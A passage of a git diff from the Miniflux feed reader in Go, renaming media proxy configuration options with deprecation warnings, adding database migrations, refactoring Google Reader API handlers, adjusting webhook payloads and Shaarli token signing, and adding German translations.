*testing.T) { t.Fatalf(`Parsing failure: %v`, err) } - expected := []string{"image"} + expected := "http://example.org/proxy" + result := opts.MediaCustomProxyURL() + if result != expected { + t.Fatalf(`Unexpected PROXY_IMAGE_URL value, got %q instead of %q`, result, expected) + } +} - if len(expected) != len(opts.ProxyMediaTypes()) { - t.Fatalf(`Unexpected PROXY_MEDIA_TYPES value, got %v instead of %v`, opts.ProxyMediaTypes(), expected) +func TestProxyURLOptionForBackwardCompatibility(t *testing.T) { + os.Clearenv() + os.Setenv("PROXY_URL", "http://example.org/proxy") + + parser := NewParser() + opts, err := parser.ParseEnvironmentVariables() + if err != nil { + t.Fatalf(`Parsing failure: %v`, err) + } + + expected := "http://example.org/proxy" + result := opts.MediaCustomProxyURL() + if result != expected { + t.Fatalf(`Unexpected PROXY_URL value, got %q instead of %q`, result, expected) + } +} + +func TestProxyMediaTypesOptionForBackwardCompatibility(t *testing.T) { + os.Clearenv() + os.Setenv("PROXY_MEDIA_TYPES", "image,audio") + + parser := NewParser() + opts, err := parser.ParseEnvironmentVariables() + if err != nil { + t.Fatalf(`Parsing failure: %v`, err) + } + expected := []string{"audio", "image"} + if len(expected) != len(opts.MediaProxyResourceTypes()) { + t.Fatalf(`Unexpected PROXY_MEDIA_TYPES value, got %v instead of %v`, opts.MediaProxyResourceTypes(), expected) } resultMap := make(map[string]bool) - for _, mediaType := range opts.ProxyMediaTypes() { + for _, mediaType := range opts.MediaProxyResourceTypes() { resultMap[mediaType] = true } for _, mediaType := range expected { if !resultMap[mediaType] { - t.Fatalf(`Unexpected PROXY_MEDIA_TYPES value, got %v instead of %v`, opts.ProxyMediaTypes(), expected) + t.Fatalf(`Unexpected PROXY_MEDIA_TYPES value, got %v instead of %v`, opts.MediaProxyResourceTypes(), expected) } } } -func TestProxyHTTPClientTimeout(t *testing.T) { +func TestProxyOptionForBackwardCompatibility(t *testing.T) { + os.Clearenv() + os.Setenv("PROXY_OPTION", "all") + + parser := NewParser() + opts, err := parser.ParseEnvironmentVariables() + if err != nil { + t.Fatalf(`Parsing failure: %v`, err) + } + expected := "all" + result := opts.MediaProxyMode() + if result != expected { + t.Fatalf(`Unexpected PROXY_OPTION value, got %q instead of %q`, result, expected) + } +} + +func TestProxyHTTPClientTimeoutOptionForBackwardCompatibility(t *testing.T) { os.Clearenv() os.Setenv("PROXY_HTTP_CLIENT_TIMEOUT", "24") @@ -1601,29 +1747,26 @@ func TestProxyHTTPClientTimeout(t *testing.T) { if err != nil { t.Fatalf(`Parsing failure: %v`, err) } - expected := 24 - result := opts.ProxyHTTPClientTimeout() - + result := opts.MediaProxyHTTPClientTimeout() if result != expected { t.Fatalf(`Unexpected PROXY_HTTP_CLIENT_TIMEOUT value, got %d instead of %d`, result, expected) } } -func TestDefaultProxyHTTPClientTimeoutValue(t *testing.T) { +func TestProxyPrivateKeyOptionForBackwardCompatibility(t *testing.T) { os.Clearenv() + os.Setenv("PROXY_PRIVATE_KEY", "foobar") parser := NewParser() opts, err := parser.ParseEnvironmentVariables() if err != nil { t.Fatalf(`Parsing failure: %v`, err) } - - expected := defaultProxyHTTPClientTimeout - result := opts.ProxyHTTPClientTimeout() - - if result != expected { - t.Fatalf(`Unexpected PROXY_HTTP_CLIENT_TIMEOUT value, got %d instead of %d`, result, expected) + expected := []byte("foobar") + result := opts.MediaProxyPrivateKey() + if !bytes.Equal(result, expected) { + t.Fatalf(`Unexpected PROXY_PRIVATE_KEY value, got %q instead of %q`, result, expected) } } diff --git a/internal/config/options.go b/internal/config/options.go index 483192f9..89bff536 100644 --- a/internal/config/options.go +++ b/internal/config/options.go @@ -27,7 +27,7 @@ const ( defaultBaseURL = "http://localhost" defaultRootURL = "http://localhost" defaultBasePath = "" - defaultWorkerPoolSize = 5 + defaultWorkerPoolSize = 16 defaultPollingFrequency = 60 defaultForceRefreshInterval = 30 defaultBatchSize = 100 @@ -51,10 +51,11 @@ const ( defaultCleanupArchiveUnreadDays = 180 defaultCleanupArchiveBatchSize = 10000 defaultCleanupRemoveSessionsDays = 30 - defaultProxyHTTPClientTimeout = 120 - defaultProxyOption = "http-only" - defaultProxyMediaTypes = "image" - defaultProxyUrl = "" + defaultMediaProxyHTTPClientTimeout = 120 + defaultMediaProxyMode = "http-only" + defaultMediaResourceTypes = "image" + defaultMediaProxyURL = "" + defaultFilterEntryMaxAgeDays = 0 defaultFetchOdyseeWatchTime = false defaultFetchYouTubeWatchTime = false defaultYouTubeEmbedUrlOverride = "https://www.youtube-nocookie.com/embed/" @@ -135,12 +136,13 @@ type Options struct { createAdmin bool adminUsername string adminPassword string - proxyHTTPClientTimeout int - proxyOption string - proxyMediaTypes []string - proxyUrl string + mediaProxyHTTPClientTimeout int + mediaProxyMode string + mediaProxyResourceTypes []string + mediaProxyCustomURL string fetchOdyseeWatchTime bool fetchYouTubeWatchTime bool + filterEntryMaxAgeDays int youTubeEmbedUrlOverride string oauth2UserCreationAllowed bool oauth2ClientID string @@ -165,7 +167,7 @@ type Options struct { metricsPassword string watchdog bool invidiousInstance string - proxyPrivateKey []byte + mediaProxyPrivateKey []byte webAuthn bool } @@ -209,10 +211,11 @@ func NewOptions() *Options { pollingParsingErrorLimit: defaultPollingParsingErrorLimit, workerPoolSize: defaultWorkerPoolSize, createAdmin: defaultCreateAdmin, - proxyHTTPClientTimeout: defaultProxyHTTPClientTimeout, - proxyOption: defaultProxyOption, - proxyMediaTypes: []string{defaultProxyMediaTypes}, - proxyUrl: defaultProxyUrl, + mediaProxyHTTPClientTimeout: defaultMediaProxyHTTPClientTimeout, + mediaProxyMode: defaultMediaProxyMode, + mediaProxyResourceTypes: []string{defaultMediaResourceTypes}, + mediaProxyCustomURL: defaultMediaProxyURL, + filterEntryMaxAgeDays: defaultFilterEntryMaxAgeDays, fetchOdyseeWatchTime: defaultFetchOdyseeWatchTime, fetchYouTubeWatchTime: defaultFetchYouTubeWatchTime, youTubeEmbedUrlOverride: defaultYouTubeEmbedUrlOverride, @@ -239,7 +242,7 @@ func NewOptions() *Options { metricsPassword: defaultMetricsPassword, watchdog: defaultWatchdog, invidiousInstance: defaultInvidiousInstance, - proxyPrivateKey: crypto.GenerateRandomBytes(16), + mediaProxyPrivateKey: crypto.GenerateRandomBytes(16), webAuthn: defaultWebAuthn, } } @@ -489,24 +492,29 @@ func (o *Options) FetchOdyseeWatchTime() bool { return o.fetchOdyseeWatchTime } -// ProxyOption returns "none" to never proxy, "http-only" to proxy non-HTTPS, "all" to always proxy. -func (o *Options) ProxyOption() string { - return o.proxyOption +// MediaProxyMode returns "none" to never proxy, "http-only" to proxy non-HTTPS, "all" to always proxy. +func (o *Options) MediaProxyMode() string { + return o.mediaProxyMode } -// ProxyMediaTypes returns a slice of media types to proxy. -func (o *Options) ProxyMediaTypes() []string { - return o.proxyMediaTypes +// MediaProxyResourceTypes returns a slice of resource types to proxy. +func (o *Options) MediaProxyResourceTypes() []string { + return o.mediaProxyResourceTypes } -// ProxyUrl returns a string of a URL to use to proxy image requests -func (o *Options) ProxyUrl() string { - return o.proxyUrl +// MediaCustomProxyURL returns the custom proxy URL for medias. +func (o *Options) MediaCustomProxyURL() string { + return o.mediaProxyCustomURL } -// ProxyHTTPClientTimeout returns the time limit in seconds before the proxy HTTP client cancel the request. -func (o *Options) ProxyHTTPClientTimeout() int { - return o.proxyHTTPClientTimeout +// MediaProxyHTTPClientTimeout returns the time limit in seconds before the proxy HTTP client cancel the request. +func (o *Options) MediaProxyHTTPClientTimeout() int { + return o.mediaProxyHTTPClientTimeout +} + +// MediaProxyPrivateKey returns the private key used by the media proxy. +func (o *Options) MediaProxyPrivateKey() []byte { + return o.mediaProxyPrivateKey } // HasHTTPService returns true if the HTTP service is enabled. @@ -602,16 +610,16 @@ func (o *Options) InvidiousInstance() string { return o.invidiousInstance } -// ProxyPrivateKey returns the private key used by the media proxy -func (o *Options) ProxyPrivateKey() []byte { - return o.proxyPrivateKey -} - // WebAuthn returns true if WebAuthn logins are supported func (o *Options) WebAuthn() bool { return o.webAuthn } +// FilterEntryMaxAgeDays returns the number of days after which entries should be retained. +func (o *Options) FilterEntryMaxAgeDays() int { + return o.filterEntryMaxAgeDays +} + // SortedOptions returns options as a list of key value pairs, sorted by keys. func (o *Options) SortedOptions(redactSecret bool) []*Option { var keyValues = map[string]interface{}{ @@ -637,6 +645,7 @@ func (o *Options) SortedOptions(redactSecret bool) []*Option { "DISABLE_HSTS": !o.hsts, "DISABLE_HTTP_SERVICE": !o.httpService, "DISABLE_SCHEDULER_SERVICE": !o.schedulerService, + "FILTER_ENTRY_MAX_AGE_DAYS": o.filterEntryMaxAgeDays, "FETCH_YOUTUBE_WATCH_TIME": o.fetchYouTubeWatchTime, "FETCH_ODYSEE_WATCH_TIME": o.fetchOdyseeWatchTime, "HTTPS": o.HTTPS, @@ -671,11 +680,11 @@ func (o *Options) SortedOptions(redactSecret bool) []*Option { "FORCE_REFRESH_INTERVAL": o.forceRefreshInterval, "POLLING_PARSING_ERROR_LIMIT": o.pollingParsingErrorLimit, "POLLING_SCHEDULER": o.pollingScheduler, - "PROXY_HTTP_CLIENT_TIMEOUT": o.proxyHTTPClientTimeout, - "PROXY_MEDIA_TYPES": o.proxyMediaTypes, - "PROXY_OPTION": o.proxyOption, - "PROXY_PRIVATE_KEY": redactSecretValue(string(o.proxyPrivateKey), redactSecret), - "PROXY_URL": o.proxyUrl, + "MEDIA_PROXY_HTTP_CLIENT_TIMEOUT": o.mediaProxyHTTPClientTimeout, + "MEDIA_PROXY_RESOURCE_TYPES": o.mediaProxyResourceTypes, + "MEDIA_PROXY_MODE": o.mediaProxyMode, + "MEDIA_PROXY_PRIVATE_KEY": redactSecretValue(string(o.mediaProxyPrivateKey), redactSecret), + "MEDIA_PROXY_CUSTOM_URL": o.mediaProxyCustomURL, "ROOT_URL": o.rootURL, "RUN_MIGRATIONS": o.runMigrations, "SCHEDULER_ENTRY_FREQUENCY_MAX_INTERVAL": o.schedulerEntryFrequencyMaxInterval, diff --git a/internal/config/parser.go b/internal/config/parser.go index ea419f30..24704710 100644 --- a/internal/config/parser.go +++ b/internal/config/parser.go @@ -10,6 +10,7 @@ import ( "errors" "fmt" "io" + "log/slog" "net/url" "os" "strconv" @@ -87,6 +88,7 @@ func (p *Parser) parseLines(lines []string) (err error) { p.opts.logFormat = parsedValue } case "DEBUG": + slog.Warn("The DEBUG environment variable is deprecated, use LOG_LEVEL instead") parsedValue := parseBool(value, defaultDebug) if parsedValue { p.opts.logLevel = "debug" @@ -112,6 +114,8 @@ func (p *Parser) parseLines(lines []string) (err error) { p.opts.databaseMinConns = parseInt(value, defaultDatabaseMinConns) case "DATABASE_CONNECTION_LIFETIME": p.opts.databaseConnectionLifetime = parseInt(value, defaultDatabaseConnectionLifetime) + case "FILTER_ENTRY_MAX_AGE_DAYS": + p.opts.filterEntryMaxAgeDays = parseInt(value, defaultFilterEntryMaxAgeDays) case "RUN_MIGRATIONS": p.opts.runMigrations = parseBool(value, defaultRunMigrations) case "DISABLE_HSTS": @@ -158,20 +162,41 @@ func (p *Parser) parseLines(lines []string) (err error) { p.opts.schedulerRoundRobinMinInterval = parseInt(value, defaultSchedulerRoundRobinMinInterval) case "POLLING_PARSING_ERROR_LIMIT": p.opts.pollingParsingErrorLimit = parseInt(value, defaultPollingParsingErrorLimit) - // kept for compatibility purpose case "PROXY_IMAGES": - p.opts.proxyOption = parseString(value, defaultProxyOption) + slog.Warn("The PROXY_IMAGES environment variable is deprecated, use MEDIA_PROXY_MODE instead") + p.opts.mediaProxyMode = parseString(value, defaultMediaProxyMode) case "PROXY_HTTP_CLIENT_TIMEOUT": - p.opts.proxyHTTPClientTimeout = parseInt(value, defaultProxyHTTPClientTimeout) + slog.Warn("The PROXY_HTTP_CLIENT_TIMEOUT environment variable is deprecated, use MEDIA_PROXY_HTTP_CLIENT_TIMEOUT instead") + p.opts.mediaProxyHTTPClientTimeout = parseInt(value, defaultMediaProxyHTTPClientTimeout) + case "MEDIA_PROXY_HTTP_CLIENT_TIMEOUT": + p.opts.mediaProxyHTTPClientTimeout = parseInt(value, defaultMediaProxyHTTPClientTimeout) case "PROXY_OPTION": - p.opts.proxyOption = parseString(value, defaultProxyOption) + slog.Warn("The PROXY_OPTION environment variable is deprecated, use MEDIA_PROXY_MODE instead") + p.opts.mediaProxyMode = parseString(value, defaultMediaProxyMode) + case "MEDIA_PROXY_MODE": + p.opts.mediaProxyMode = parseString(value, defaultMediaProxyMode) case "PROXY_MEDIA_TYPES": - p.opts.proxyMediaTypes = parseStringList(value, []string{defaultProxyMediaTypes}) - // kept for compatibility purpose + slog.Warn("The PROXY_MEDIA_TYPES environment variable is deprecated, use MEDIA_PROXY_RESOURCE_TYPES instead") + p.opts.mediaProxyResourceTypes = parseStringList(value, []string{defaultMediaResourceTypes}) + case "MEDIA_PROXY_RESOURCE_TYPES": + p.opts.mediaProxyResourceTypes = parseStringList(value, []string{defaultMediaResourceTypes}) case "PROXY_IMAGE_URL": - p.opts.proxyUrl = parseString(value, defaultProxyUrl) + slog.Warn("The PROXY_IMAGE_URL environment variable is deprecated, use MEDIA_PROXY_CUSTOM_URL instead") + p.opts.mediaProxyCustomURL = parseString(value, defaultMediaProxyURL) case "PROXY_URL": - p.opts.proxyUrl = parseString(value, defaultProxyUrl) + slog.Warn("The PROXY_URL environment variable is deprecated, use MEDIA_PROXY_CUSTOM_URL instead") + p.opts.mediaProxyCustomURL = parseString(value, defaultMediaProxyURL) + case "PROXY_PRIVATE_KEY": + slog.Warn("The PROXY_PRIVATE_KEY environment variable is deprecated, use MEDIA_PROXY_PRIVATE_KEY instead") + randomKey := make([]byte, 16) + rand.Read(randomKey) + p.opts.mediaProxyPrivateKey = parseBytes(value, randomKey) + case "MEDIA_PROXY_PRIVATE_KEY": + randomKey := make([]byte, 16) + rand.Read(randomKey) + p.opts.mediaProxyPrivateKey = parseBytes(value, randomKey) + case "MEDIA_PROXY_CUSTOM_URL": + p.opts.mediaProxyCustomURL = parseString(value, defaultMediaProxyURL) case "CREATE_ADMIN": p.opts.createAdmin = parseBool(value, defaultCreateAdmin) case "ADMIN_USERNAME": @@ -244,10 +269,6 @@ func (p *Parser) parseLines(lines []string) (err error) { p.opts.watchdog = parseBool(value, defaultWatchdog) case "INVIDIOUS_INSTANCE": p.opts.invidiousInstance = parseString(value, defaultInvidiousInstance) - case "PROXY_PRIVATE_KEY": - randomKey := make([]byte, 16) - rand.Read(randomKey) - p.opts.proxyPrivateKey = parseBytes(value, randomKey) case "WEBAUTHN": p.opts.webAuthn = parseBool(value, defaultWebAuthn) } diff --git a/internal/database/migrations.go b/internal/database/migrations.go index 0721f218..fa3c3972 100644 --- a/internal/database/migrations.go +++ b/internal/database/migrations.go @@ -871,4 +871,21 @@ var migrations = []func(tx *sql.Tx) error{ _, err = tx.Exec(sql) return err }, + func(tx *sql.Tx) (err error) { + sql := `ALTER TABLE users ADD COLUMN media_playback_rate numeric default 1;` + _, err = tx.Exec(sql) + return err + }, + func(tx *sql.Tx) (err error) { + // the WHERE part speed-up the request a lot + sql := `UPDATE entries SET tags = array_remove(tags, '') WHERE '' = ANY(tags);` + _, err = tx.Exec(sql) + return err + }, + func(tx *sql.Tx) (err error) { + // Entry URLs can exceeds btree maximum size + // Checking entry existence is now using entries_feed_id_status_hash_idx index + _, err = tx.Exec(`DROP INDEX entries_feed_url_idx`) + return err + }, } diff --git a/internal/fever/handler.go b/internal/fever/handler.go index 90a0d5f2..831cbe98 100644 --- a/internal/fever/handler.go +++ b/internal/fever/handler.go @@ -13,8 +13,8 @@ import ( "miniflux.app/v2/internal/http/request" "miniflux.app/v2/internal/http/response/json" "miniflux.app/v2/internal/integration" + "miniflux.app/v2/internal/mediaproxy" "miniflux.app/v2/internal/model" - "miniflux.app/v2/internal/proxy" "miniflux.app/v2/internal/storage" "github.com/gorilla/mux" @@ -324,7 +324,7 @@ func (h *handler) handleItems(w http.ResponseWriter, r *http.Request) { FeedID: entry.FeedID, Title: entry.Title, Author: entry.Author, - HTML: proxy.AbsoluteProxyRewriter(h.router, r.Host, entry.Content), + HTML: mediaproxy.RewriteDocumentWithAbsoluteProxyURL(h.router, r.Host, entry.Content), URL: entry.URL, IsSaved: isSaved, IsRead: isRead, diff --git a/internal/googlereader/handler.go b/internal/googlereader/handler.go index 488eaebc..f19ec944 100644 --- a/internal/googlereader/handler.go +++ b/internal/googlereader/handler.go @@ -18,8 +18,8 @@ import ( "miniflux.app/v2/internal/http/response/json" "miniflux.app/v2/internal/http/route" "miniflux.app/v2/internal/integration" + "miniflux.app/v2/internal/mediaproxy" "miniflux.app/v2/internal/model" - "miniflux.app/v2/internal/proxy" "miniflux.app/v2/internal/reader/fetcher" mff "miniflux.app/v2/internal/reader/handler" mfs "miniflux.app/v2/internal/reader/subscription" @@ -265,9 +265,10 @@ func getStreamFilterModifiers(r *http.Request) (RequestModifiers, error) { } func getStream(streamID string, userID int64) (Stream, error) { - if strings.HasPrefix(streamID, FeedPrefix) { + switch { + case strings.HasPrefix(streamID, FeedPrefix): return Stream{Type: FeedStream, ID: strings.TrimPrefix(streamID, FeedPrefix)}, nil - } else if strings.HasPrefix(streamID, fmt.Sprintf(UserStreamPrefix, userID)) || strings.HasPrefix(streamID, StreamPrefix) { + case strings.HasPrefix(streamID, fmt.Sprintf(UserStreamPrefix, userID)) || strings.HasPrefix(streamID, StreamPrefix): id := strings.TrimPrefix(streamID, fmt.Sprintf(UserStreamPrefix, userID)) id = strings.TrimPrefix(id, StreamPrefix) switch id { @@ -288,15 +289,15 @@ func getStream(streamID string, userID int64) (Stream, error) { default: return Stream{NoStream, ""}, fmt.Errorf("googlereader: unknown stream with id: %s", id) } - } else if strings.HasPrefix(streamID, fmt.Sprintf(UserLabelPrefix, userID)) || strings.HasPrefix(streamID, LabelPrefix) { + case strings.HasPrefix(streamID, fmt.Sprintf(UserLabelPrefix, userID)) || strings.HasPrefix(streamID, LabelPrefix): id := strings.TrimPrefix(streamID, fmt.Sprintf(UserLabelPrefix, userID)) id = strings.TrimPrefix(id, LabelPrefix) return Stream{LabelStream, id}, nil - } else if streamID == "" { + case streamID == "": return Stream{NoStream, ""}, nil + default: + return Stream{NoStream, ""}, fmt.Errorf("googlereader: unknown stream type: %s", streamID) } - - return Stream{NoStream, ""}, fmt.Errorf("googlereader: unknown stream type: %s", streamID) } func getStreams(streamIDs []string, userID int64) ([]Stream, error) { @@ -382,7 +383,7 @@ func getItemIDs(r *http.Request) ([]int64, error) { return itemIDs, nil } -func checkOutputFormat(w http.ResponseWriter, r *http.Request) error { +func checkOutputFormat(r *http.Request) error { var output string if r.Method == http.MethodPost { err := r.ParseForm() @@ -736,11 +737,12 @@ func getFeed(stream Stream, store *storage.Storage, userID int64) (*model.Feed, } func getOrCreateCategory(category Stream, store *storage.Storage, userID int64) (*model.Category, error) { - if category.ID == "" { + switch { + case category.ID == "": return store.FirstCategory(userID) - } else if store.CategoryTitleExists(userID, category.ID) { + case store.CategoryTitleExists(userID, category.ID): return store.CategoryByTitle(userID, category.ID) - } else { + default: catRequest := model.CategoryRequest{ Title: category.ID, } @@ -764,7 +766,7 @@ func subscribe(newFeed Stream, category Stream, title string, store *storage.Sto } created, localizedError := mff.CreateFeed(store, userID, &feedRequest) - if err != nil { + if localizedError != nil { return nil, localizedError.Error() } @@ -908,7 +910,7 @@ func (h *handler) streamItemContentsHandler(w http.ResponseWriter, r *http.Reque slog.Int64("user_id", userID), ) - if err := checkOutputFormat(w, r); err != nil { + if err := checkOutputFormat(r); err != nil { json.BadRequest(w, r, err) return } @@ -1001,14 +1003,14 @@ func (h *handler) streamItemContentsHandler(w http.ResponseWriter, r *http.Reque categories = append(categories, userStarred) } - entry.Content = proxy.AbsoluteProxyRewriter(h.router, r.Host, entry.Content) - proxyOption := config.Opts.ProxyOption() + entry.Content = mediaproxy.RewriteDocumentWithAbsoluteProxyURL(h.router, r.Host, entry.Content) + proxyOption := config.Opts.MediaProxyMode() for i := range entry.Enclosures { if proxyOption == "all" || proxyOption != "none" && !urllib.IsHTTPS(entry.Enclosures[i].URL) { - for _, mediaType := range config.Opts.ProxyMediaTypes() { + for _, mediaType := range config.Opts.MediaProxyResourceTypes() { if strings.HasPrefix(entry.Enclosures[i].MimeType, mediaType+"/") { - entry.Enclosures[i].URL = proxy.AbsoluteProxifyURL(h.router, r.Host, entry.Enclosures[i].URL) + entry.Enclosures[i].URL = mediaproxy.ProxifyAbsoluteURL(h.router, r.Host, entry.Enclosures[i].URL) break } } @@ -1170,7 +1172,7 @@ func (h *handler) tagListHandler(w http.ResponseWriter, r *http.Request) { slog.String("user_agent", r.UserAgent()), ) - if err := checkOutputFormat(w, r); err != nil { + if err := checkOutputFormat(r); err != nil { json.BadRequest(w, r, err) return } @@ -1205,7 +1207,7 @@ func (h *handler) subscriptionListHandler(w http.ResponseWriter, r *http.Request slog.String("user_agent", r.UserAgent()), ) - if err := checkOutputFormat(w, r); err != nil { + if err := checkOutputFormat(r); err != nil { json.BadRequest(w, r, err) return } @@ -1224,7 +1226,7 @@ func (h *handler) subscriptionListHandler(w http.ResponseWriter, r *http.Request URL: feed.FeedURL, Categories: []subscriptionCategory{{fmt.Sprintf(UserLabelPrefix, userID) + feed.Category.Title, feed.Category.Title, "folder"}}, HTMLURL: feed.SiteURL, - IconURL: "", //TODO Icons are only base64 encode in DB yet + IconURL: "", // TODO: Icons are base64 encoded in the DB. }) } json.OK(w, r, result) @@ -1251,7 +1253,7 @@ func (h *handler) userInfoHandler(w http.ResponseWriter, r *http.Request) { slog.String("user_agent", r.UserAgent()), ) - if err := checkOutputFormat(w, r); err != nil { + if err := checkOutputFormat(r); err != nil { json.BadRequest(w, r, err) return } @@ -1276,7 +1278,7 @@ func (h *handler) streamItemIDsHandler(w http.ResponseWriter, r *http.Request) { slog.Int64("user_id", userID), ) - if err := checkOutputFormat(w, r); err != nil { + if err := checkOutputFormat(r); err != nil { json.BadRequest(w, r, err) return } @@ -1477,8 +1479,7 @@ func (h *handler) handleFeedStreamHandler(w http.ResponseWriter, r *http.Request if len(rm.ExcludeTargets) > 0 { for _, s := range rm.ExcludeTargets { - switch s.Type { - case ReadStream: + if s.Type == ReadStream { builder.WithoutStatus(model.EntryStatusRead) } } diff --git a/internal/http/request/context.go b/internal/http/request/context.go index b2ce54cf..ba6ee40d 100644 --- a/internal/http/request/context.go +++ b/internal/http/request/context.go @@ -37,14 +37,10 @@ const ( func WebAuthnSessionData(r *http.Request) *model.WebAuthnSession { if v := r.Context().Value(WebAuthnDataContextKey); v != nil { - value, valid := v.(model.WebAuthnSession) - if !valid { - return nil + if value, valid := v.(model.WebAuthnSession); valid { + return &value } - - return &value } - return nil } @@ -151,39 +147,27 @@ func ClientIP(r *http.Request) string { func getContextStringValue(r *http.Request, key ContextKey) string { if v := r.Context().Value(key); v != nil { - value, valid := v.(string) - if !valid { - return "" + if value, valid := v.(string); valid { + return value } - - return value } - return "" } func getContextBoolValue(r *http.Request, key ContextKey) bool { if v := r.Context().Value(key); v != nil { - value, valid := v.(bool) - if !valid { - return false + if value, valid := v.(bool); valid { + return value } - - return value } - return false } func getContextInt64Value(r *http.Request, key ContextKey) int64 { if v := r.Context().Value(key); v != nil { - value, valid := v.(int64) - if !valid { - return 0 + if value, valid := v.(int64); valid { + return value } - - return value } - return 0 } diff --git a/internal/http/response/builder.go b/internal/http/response/builder.go index 97c86fce..caf48d0b 100644 --- a/internal/http/response/builder.go +++ b/internal/http/response/builder.go @@ -96,7 +96,6 @@ func (b *Builder) Write() { } func (b *Builder) writeHeaders() { - b.headers["X-XSS-Protection"] = "1; mode=block" b.headers["X-Content-Type-Options"] = "nosniff" b.headers["X-Frame-Options"] = "DENY" b.headers["Referrer-Policy"] = "no-referrer" diff --git a/internal/http/response/builder_test.go b/internal/http/response/builder_test.go index 7b4d73ef..ccc29c8c 100644 --- a/internal/http/response/builder_test.go +++ b/internal/http/response/builder_test.go @@ -28,7 +28,6 @@ func TestResponseHasCommonHeaders(t *testing.T) { resp := w.Result() headers := map[string]string{ - "X-XSS-Protection": "1; mode=block", "X-Content-Type-Options": "nosniff", "X-Frame-Options": "DENY", } diff --git a/internal/integration/matrixbot/matrixbot.go b/internal/integration/matrixbot/matrixbot.go index 3e29d83d..8c0599be 100644 --- a/internal/integration/matrixbot/matrixbot.go +++ b/internal/integration/matrixbot/matrixbot.go @@ -10,7 +10,7 @@ import ( "miniflux.app/v2/internal/model" ) -// PushEntry pushes entries to matrix chat using integration settings provided +// PushEntries pushes entries to matrix chat using integration settings provided func PushEntries(feed *model.Feed, entries model.Entries, matrixBaseURL, matrixUsername, matrixPassword, matrixRoomID string) error { client := NewClient(matrixBaseURL) discovery, err := client.DiscoverEndpoints() diff --git a/internal/integration/rssbridge/rssbridge.go b/internal/integration/rssbridge/rssbridge.go index 74cb6a0f..aab4c210 100644 --- a/internal/integration/rssbridge/rssbridge.go +++ b/internal/integration/rssbridge/rssbridge.go @@ -1,7 +1,7 @@ // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved. // SPDX-License-Identifier: Apache-2.0 -package rssbridge // import "miniflux.app/integration/rssbridge" +package rssbridge // import "miniflux.app/v2/internal/integration/rssbridge" import ( "encoding/json" diff --git a/internal/integration/shaarli/shaarli.go b/internal/integration/shaarli/shaarli.go index a69da227..aeb701e8 100644 --- a/internal/integration/shaarli/shaarli.go +++ b/internal/integration/shaarli/shaarli.go @@ -11,7 +11,6 @@ import ( "encoding/json" "fmt" "net/http" - "strings" "time" "miniflux.app/v2/internal/urllib" @@ -74,14 +73,15 @@ func (c *Client) CreateLink(entryURL, entryTitle string) error { } func (c *Client) generateBearerToken() string { - header := strings.TrimRight(base64.URLEncoding.EncodeToString([]byte(`{"typ":"JWT", "alg":"HS256"}`)), "=") - payload := strings.TrimRight(base64.URLEncoding.EncodeToString([]byte(fmt.Sprintf(`{"iat": %d}`, time.Now().Unix()))), "=") + header := base64.RawURLEncoding.EncodeToString([]byte(`{"typ":"JWT","alg":"HS512"}`)) + payload := base64.RawURLEncoding.EncodeToString([]byte(fmt.Sprintf(`{"iat":%d}`, time.Now().Unix()))) + data := header + "." + payload mac := hmac.New(sha512.New, []byte(c.apiSecret)) - mac.Write([]byte(header + "." + payload)) - signature := strings.TrimRight(base64.URLEncoding.EncodeToString(mac.Sum(nil)), "=") + mac.Write([]byte(data)) + signature := base64.RawURLEncoding.EncodeToString(mac.Sum(nil)) - return header + "." + payload + "." + signature + return data + "." + signature } type addLinkRequest struct { diff --git a/internal/integration/webhook/webhook.go b/internal/integration/webhook/webhook.go index 52399c3d..a69730f9 100644 --- a/internal/integration/webhook/webhook.go +++ b/internal/integration/webhook/webhook.go @@ -57,6 +57,7 @@ func (c *Client) SendSaveEntryWebhookEvent(entry *model.Entry) error { ID: entry.Feed.ID, UserID: entry.Feed.UserID, CategoryID: entry.Feed.Category.ID, + Category: &WebhookCategory{ID: entry.Feed.Category.ID, Title: entry.Feed.Category.Title}, FeedURL: entry.Feed.FeedURL, SiteURL: entry.Feed.SiteURL, Title: entry.Feed.Title, @@ -94,13 +95,13 @@ func (c *Client) SendNewEntriesWebhookEvent(feed *model.Feed, entries model.Entr Tags: entry.Tags, }) } - return c.makeRequest(NewEntriesEventType, &WebhookNewEntriesEvent{ EventType: NewEntriesEventType, Feed: &WebhookFeed{ ID: feed.ID, UserID: feed.UserID, CategoryID: feed.Category.ID, + Category: &WebhookCategory{ID: feed.Category.ID, Title: feed.Category.Title}, FeedURL: feed.FeedURL, SiteURL: feed.SiteURL, Title: feed.Title, @@ -145,13 +146,19 @@ func (c *Client) makeRequest(eventType string, payload any) error { } type WebhookFeed struct { - ID int64 `json:"id"` - UserID int64 `json:"user_id"` - CategoryID int64 `json:"category_id"` - FeedURL string `json:"feed_url"` - SiteURL string `json:"site_url"` - Title string `json:"title"` - CheckedAt time.Time `json:"checked_at"` + ID int64 `json:"id"` + UserID int64 `json:"user_id"` + CategoryID int64 `json:"category_id"` + Category *WebhookCategory `json:"category,omitempty"` + FeedURL string `json:"feed_url"` + SiteURL string `json:"site_url"` + Title string `json:"title"` + CheckedAt time.Time `json:"checked_at"` +} + +type WebhookCategory struct { + ID int64 `json:"id"` + Title string `json:"title"` } type WebhookEntry struct { diff --git a/internal/locale/translations/de_DE.json b/internal/locale/translations/de_DE.json index 58650850..c49a27f6 100644 --- a/internal/locale/translations/de_DE.json +++ b/internal/locale/translations/de_DE.json @@ -178,6 +178,8 @@ "page.keyboard_shortcuts.go_to_feed": "Zum Abonnement gehen", "page.keyboard_shortcuts.go_to_previous_page": "Zur vorherigen Seite gehen", "page.keyboard_shortcuts.go_to_next_page": "Zur nächsten Seite gehen", + "page.keyboard_shortcuts.go_to_bottom_item": "Gehen Sie zum untersten Element", + "page.keyboard_shortcuts.go_to_top_item": "Zum obersten Artikel gehen", "page.keyboard_shortcuts.open_item": "Gewählten Artikel öffnen", "page.keyboard_shortcuts.open_original": "Original-Artikel öffnen", "page.keyboard_shortcuts.open_original_same_window": "Öffne den Original-Link in der aktuellen Registerkarte", @@ -256,6 +258,7 @@ "alert.no_bookmark": "Es existiert derzeit kein Lesezeichen.", "alert.no_category": "Es ist keine Kategorie vorhanden.", "alert.no_category_entry": "Es befindet sich kein Artikel in dieser Kategorie.", + "alert.no_tag_entry": "Es gibt keine Artikel, die diesem Tag entsprechen.", "alert.no_feed_entry": "Es existiert kein Artikel für dieses Abonnement.", "alert.no_feed": "Es sind keine Abonnements vorhanden.", "alert.no_feed_in_category": "Für diese Kategorie gibt es kein Abonnement.", @@ -505,7 +508,7 @@ "error.http_body_read": "Der HTTP-Inhalt kann nicht gelesen werden: %v", 